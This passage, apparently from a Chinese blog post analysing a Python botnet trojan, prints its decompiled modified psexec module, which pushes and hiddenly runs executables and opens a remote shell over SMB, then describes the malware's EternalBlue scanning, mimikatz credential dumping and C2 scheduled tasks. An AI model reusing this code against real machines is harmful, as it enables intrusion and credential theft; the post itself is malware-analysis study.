t1 = threading . Thread ( target = scansmb2 , args = ( ip , 445 ) )
t1 . start ( )
time . sleep ( 2 )
print ' eb2 over '
print ' sleep 10min '
time . sleep ( 5 )
mmka ( )
# global h_one ## Warning: Unused global
```
里面有两个不是公开的库, mysmb和psexec, 其中mysmb看起来是[永恒之蓝RCE中的代码 ](https://github.com/0xsyr0/OSCP/blob/main/exploits/CVE-2017-0144-EternalBlue-MS17-010-RCE/mysmb.py ), psexec有找到几个相似的但是没找到一样的, 所以代码也放上来:
2025-04-09 17:31:38 +00:00
<button onclick="showcode()" class="showbutton">Show Code</button>
<button onclick="showcode()" class="showbutton" style="display:none;">Hide Code</button>
2024-11-02 12:32:13 +00:00
``` python
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: psexec.py
import sys , os , cmd , logging
from threading import Thread , Lock
import argparse , random , string , time
from impacket . examples import logger
from impacket import version , smb
from impacket . smbconnection import SMBConnection
from impacket . dcerpc . v5 import transport
from impacket . structure import Structure
from impacket . examples import remcomsvc , serviceinstall
class RemComMessage ( Structure ) :
structure = (
( ' Command ' , ' 4096s= " " ' ) ,
( ' WorkingDir ' , ' 260s= " " ' ) ,
( ' Priority ' , ' <L=0x20 ' ) ,
( ' ProcessID ' , ' <L=0x01 ' ) ,
( ' Machine ' , ' 260s= " " ' ) ,
( ' NoWait ' , ' <L=0 ' ) )
class RemComResponse ( Structure ) :
structure = (
( ' ErrorCode ' , ' <L=0 ' ) ,
( ' ReturnCode ' , ' <L=0 ' ) )
RemComSTDOUT = ' RemCom_stdout '
RemComSTDIN = ' RemCom_stdin '
RemComSTDERR = ' RemCom_stderr '
lock = Lock ( )
class RemoteShell ( cmd . Cmd ) :
def __init__ ( self , server , port , credentials , tid , fid , share , transport ) :
cmd . Cmd . __init__ ( self , False )
self . prompt = ' \x08 '
self . server = server
self . transferClient = None
self . tid = tid
self . fid = fid
self . credentials = credentials
self . share = share
self . port = port
self . transport = transport
return
def connect_transferClient ( self ) :
self . transferClient = SMBConnection ( ' *SMBSERVER ' , self . server . getRemoteHost ( ) , sess_port = self . port , preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = self . credentials
if self . transport . get_kerberos ( ) is True :
self . transferClient . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
self . transferClient . login ( user , passwd , domain , lm , nt )
def do_help ( self , line ) :
print ' \n lcd {path} - changes the current local directory to {path} \n exit - terminates the server process (and this session) \n put { src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share ( %s ) \n get {file} - downloads pathname RELATIVE to the connected share ( %s ) to the current local dir \n ! {cmd} - executes a local shell cmd \n ' % ( self . share , self . share )
self . send_data ( ' \r \n ' , False )
def do_shell ( self , s ) :
os . system ( s )
self . send_data ( ' \r \n ' )
def do_get ( self , src_path ) :
try :
if self . transferClient is None :
self . connect_transferClient ( )
import ntpath
filename = ntpath . basename ( src_path )
fh = open ( filename , ' wb ' )
logging . info ( ' Downloading %s \\ %s ' % ( self . share , src_path ) )
self . transferClient . getFile ( self . share , src_path , fh . write )
fh . close ( )
except Exception as e :
logging . critical ( str ( e ) )
self . send_data ( ' \r \n ' )
return
def do_put ( self , s ) :
try :
if self . transferClient is None :
self . connect_transferClient ( )
params = s . split ( ' ' )
if len ( params ) > 1 :
src_path = params [ 0 ]
dst_path = params [ 1 ]
elif len ( params ) == 1 :
src_path = params [ 0 ]
dst_path = ' / '
src_file = os . path . basename ( src_path )
fh = open ( src_path , ' rb ' )
f = dst_path + ' / ' + src_file
print ' !!!!!!!!!!!!!!!! ' + f
pathname = string . replace ( f , ' / ' , ' \\ ' )
logging . info ( ' Uploading1111111111 %s to %s \\ %s ' % ( src_file , self . share , dst_path ) )
self . transferClient . putFile ( self . share , pathname . decode ( sys . stdin . encoding ) , fh . read )
fh . close ( )
except Exception as e :
logging . error ( str ( e ) )
self . send_data ( ' \r \n ' )
return
def do_lcd ( self , s ) :
if s == ' ' :
print os . getcwd ( )
else :
os . chdir ( s )
self . send_data ( ' \r \n ' )
def emptyline ( self ) :
self . send_data ( ' \r \n ' )
def default ( self , line ) :
self . send_data ( line . decode ( sys . stdin . encoding ) . encode ( ' cp437 ' ) + ' \r \n ' )
def send_data ( self , data , hideOutput = True ) :
global LastDataSent
if hideOutput is True :
LastDataSent = data
else :
LastDataSent = ' '
self . server . writeFile ( self . tid , self . fid , data )
class Pipes ( Thread ) :
def __init__ ( self , transport , pipe , permissions , share = None ) :
Thread . __init__ ( self )
self . server = 0
self . transport = transport
self . credentials = transport . get_credentials ( )
self . tid = 0
self . fid = 0
self . share = share
self . port = transport . get_dport ( )
self . pipe = pipe
self . permissions = permissions
self . daemon = True
def connectPipe ( self ) :
try :
self . server = SMBConnection ( ' *SMBSERVER ' , self . transport . get_smb_connection ( ) . getRemoteHost ( ) , sess_port = self . port , preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = self . credentials
if self . transport . get_kerberos ( ) is True :
self . server . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
self . server . login ( user , passwd , domain , lm , nt )
self . tid = self . server . connectTree ( ' IPC$ ' )
self . server . waitNamedPipe ( self . tid , self . pipe )
self . fid = self . server . openFile ( self . tid , self . pipe , self . permissions , creationOption = 64 , fileAttributes = 128 )
self . server . setTimeout ( 1000 )
except :
logging . error ( " Something wen ' t wrong connecting the pipes( %s ), try again " % self . __class__ )
class RemoteStdOutPipe ( Pipes ) :
def __init__ ( self , transport , pipe , permisssions ) :
Pipes . __init__ ( self , transport , pipe , permisssions )
def run ( self ) :
global LastDataSent
self . connectPipe ( )
return
while True :
try :
ans = self . server . readFile ( self . tid , self . fid , 0 , 1024 )
except :
pass
else :
try :
if ans != LastDataSent :
sys . stdout . write ( ans . decode ( ' cp437 ' ) )
sys . stdout . flush ( )
else :
LastDataSent = ' '
if LastDataSent > 10 :
LastDataSent = ' '
except :
pass
class RemoteStdErrPipe ( Pipes ) :
def __init__ ( self , transport , pipe , permisssions ) :
Pipes . __init__ ( self , transport , pipe , permisssions )
def run ( self ) :
self . connectPipe ( )
return
while True :
try :
ans = self . server . readFile ( self . tid , self . fid , 0 , 1024 )
except :
pass
else :
try :
sys . stderr . write ( str ( ans ) )
sys . stderr . flush ( )
except :
pass
class RemoteStdInPipe ( Pipes ) :
def __init__ ( self , transport , pipe , permisssions , share = None ) :
self . shell = None
Pipes . __init__ ( self , transport , pipe , permisssions , share )
return
def run ( self ) :
self . connectPipe ( )
return
self . shell = RemoteShell ( self . server , self . port , self . credentials , self . tid , self . fid , self . share , self . transport )
self . shell . cmdloop ( )
class StrReader :
def __init__ ( self , str ) :
self . __str = str
def close ( self ) :
pass
def read ( self , size = 1024 ) :
ret_str = self . __str [ : size ]
self . __str = self . __str [ size : ]
return ret_str
class PSEXEC :
KNOWN_PROTOCOLS = { ' 445/SMB ' : ( ' ncacn_np: %s [ \\ pipe \\ svcctl] ' , 445 ) }
def __init__ ( self , copyFile = None , exeFile = None , cmd = ' ' , username = ' ' , password = ' ' , domain = ' ' , fr = ' ' , hashes = None , aesKey = None , doKerberos = False ) :
self . __username = username
self . __password = password
self . __protocols = PSEXEC . KNOWN_PROTOCOLS . keys ( )
self . __command = cmd
self . __domain = domain
self . __fr = fr
self . __lmhash = ' '
self . __nthash = ' '
self . __path = None
self . __aesKey = aesKey
self . __exeFile = exeFile
self . __copyFile = copyFile
self . __doKerberos = doKerberos
if hashes is not None :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
return
def run ( self , addr ) :
for protocol in self . __protocols :
protodef = PSEXEC . KNOWN_PROTOCOLS [ protocol ]
port = protodef [ 1 ]
logging . info ( ' Trying protocol %s ... \n ' % protocol )
stringbinding = protodef [ 0 ] % addr
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
rpctransport . set_dport ( port )
if hasattr ( rpctransport , ' set_credentials ' ) :
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , self . __aesKey )
rpctransport . set_kerberos ( self . __doKerberos )
self . doStuff ( rpctransport )
def openPipe ( self , s , tid , pipe , accessMask ) :
pipeReady = False
tries = 50
while pipeReady is False and tries > 0 :
try :
s . waitNamedPipe ( tid , pipe )
pipeReady = True
except :
tries - = 1
time . sleep ( 2 )
if tries == 0 :
logging . critical ( ' Pipe not ready, aborting ' )
raise
fid = s . openFile ( tid , pipe , accessMask , creationOption = 64 , fileAttributes = 128 )
return fid
def connectPipe ( rpctransport , pipe , permisssions ) :
transport = rpctransport
server = SMBConnection ( ' *SMBSERVER ' , transport . get_smb_connection ( ) . getRemoteHost ( ) , sess_port = transport . get_dport ( ) , preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = transport . get_credentials ( )
if transport . get_kerberos ( ) is True :
server . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
server . login ( user , passwd , domain , lm , nt )
tid = server . connectTree ( ' IPC$ ' )
server . waitNamedPipe ( tid , pipe )
fid = self . server . openFile ( tid , pipe , permissions , creationOption = 64 , fileAttributes = 128 )
server . setTimeout ( 6000 )
return server
def doStuff ( self , rpctransport ) :
global LastDataSent
global dialect
dce = rpctransport . get_dce_rpc ( )
try :
dce . connect ( )
except Exception as e :
return False
dialect = rpctransport . get_smb_connection ( ) . getDialect ( )
try :
unInstalled = False
s = rpctransport . get_smb_connection ( )
s . setTimeout ( 30000 )
installService = serviceinstall . ServiceInstall ( rpctransport . get_smb_connection ( ) , remcomsvc . RemComSvc ( ) )
installService . install ( )
if self . __copyFile :
try :
installService . copy_file ( self . __copyFile , installService . getShare ( ) , ' temp \\ svchost.exe ' )
except :
print ' file exist '
tid = s . connectTree ( ' IPC$ ' )
fid_main = self . openPipe ( s , tid , ' \\ RemCom_communicaton ' , 1180063 )
packet = RemComMessage ( )
pid = os . getpid ( )
packet [ ' Machine ' ] = ( ' ' ) . join ( [ random . choice ( string . letters ) for _ in range ( 4 ) ] )
packet [ ' ProcessID ' ] = pid
if self . __exeFile :
if self . __fr == ' 1 ' :
installService . copy_file ( self . __exeFile , installService . getShare ( ) , ' temp \\ updll.exe ' )
self . __command = self . __command . replace ( ' " ' , ' " " ' )
vbs_cmd = ' \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " %s " ,0 \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " .. \\ \\ temp \\ \\ updll.exe " ,0 \n ' % self . __command
elif self . __fr == ' 3 ' :
installService . copy_file ( self . __exeFile , installService . getShare ( ) , ' temp \\ setup-install.exe ' )
self . __command = self . __command . replace ( ' " ' , ' " " ' )
vbs_cmd = ' \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " %s " ,0 \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " .. \\ \\ temp \\ \\ setup-install.exe " ,0 \n ' % self . __command
else :
installService . copy_file ( self . __exeFile , installService . getShare ( ) , ' temp \\ upinstalled.exe ' )
self . __command = self . __command . replace ( ' " ' , ' " " ' )
vbs_cmd = ' \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " %s " ,0 \n Set ws = CreateObject( " WScript.Shell " ) \n ws.Run " .. \\ \\ temp \\ \\ upinstalled.exe " ,0 \n ' % self . __command
installService . copy_file ( StrReader ( vbs_cmd . strip ( ) ) , installService . getShare ( ) , ' temp \\ tmp.vbs ' )
self . __command = ' cmd /c call " c: \\ windows \\ temp \\ tmp.vbs " '
packet [ ' Command ' ] = self . __command
print self . __command
s . writeNamedPipe ( tid , fid_main , str ( packet ) )
LastDataSent = ' '
stdin_pipe = RemoteStdInPipe ( rpctransport , ' \\ %s %s %d ' % ( RemComSTDIN , packet [ ' Machine ' ] , packet [ ' ProcessID ' ] ) , smb . FILE_WRITE_DATA | smb . FILE_APPEND_DATA , installService . getShare ( ) )
stdin_pipe . start ( )
stdout_pipe = RemoteStdOutPipe ( rpctransport , ' \\ %s %s %d ' % ( RemComSTDOUT , packet [ ' Machine ' ] , packet [ ' ProcessID ' ] ) , smb . FILE_READ_DATA )
stdout_pipe . start ( )
stderr_pipe = RemoteStdErrPipe ( rpctransport , ' \\ %s %s %d ' % ( RemComSTDERR , packet [ ' Machine ' ] , packet [ ' ProcessID ' ] ) , smb . FILE_READ_DATA )
stderr_pipe . start ( )
time . sleep ( 1 )
installService . uninstall ( )
s . deleteFile ( installService . getShare ( ) , ' temp \\ tmp.vbs ' )
unInstalled = True
return True
except SystemExit :
return False
except :
if unInstalled is False :
time . sleep ( 1 )
installService . uninstall ( )
s . deleteFile ( installService . getShare ( ) , ' temp \\ tmp.vbs ' )
return False
```
# 行为分析
那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,[这个是报告 ](https://s.threatbook.com/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d )。好像也没啥特别的, 先给445端口开了个防火墙, 估计是防止其他人利用永恒之蓝入侵, 然后整了几个请求几个“beahh.com”域名的定时任务, 另外就是同网段扫描啥的, 应该是找其他机器继续尝试用漏洞入侵感染这个木马。
之后再看看代码, 干的基本上确实是这些事情, 主要就是利用永恒之蓝漏洞然后各种扫描, 似乎有创假的系统用户的操作, 不过没太看懂, 扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户? 这是连别家的僵尸网络的节点吧, 入侵完还给它删了🤣, 还有加定时任务, 然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里, 扫描的时候也使用这里获取的密码, 可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令, 有可能会把密码拿走或者干别的事情吧。
不过定时任务里写的那个地址已经访问不到了( 就连获取IP的接口也请求不通了) , 我在网上搜了一下看行为应该是这个[搞门罗币挖矿的木马 ](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/ ), 代码里没有体现, 有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的, 估计作者已经进去了吧, 所以访问不到服务器😂, 但是5年过去了, 他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭, 这就是僵尸网络的魅力吧。
# 感想
用Python写的木马也挺有意思啊, 这个代码中用到“[impacket ](https://github.com/fortra/impacket )”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊……
如果我能有属于自己的僵尸网络能不能让我的项目永存呢? 不过这些感染了木马的老服务器总有一天会被淘汰掉, 新的服务器肯定不会装Windows Server 2008这样超老的系统 ~~(我除外🤣)~~ ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……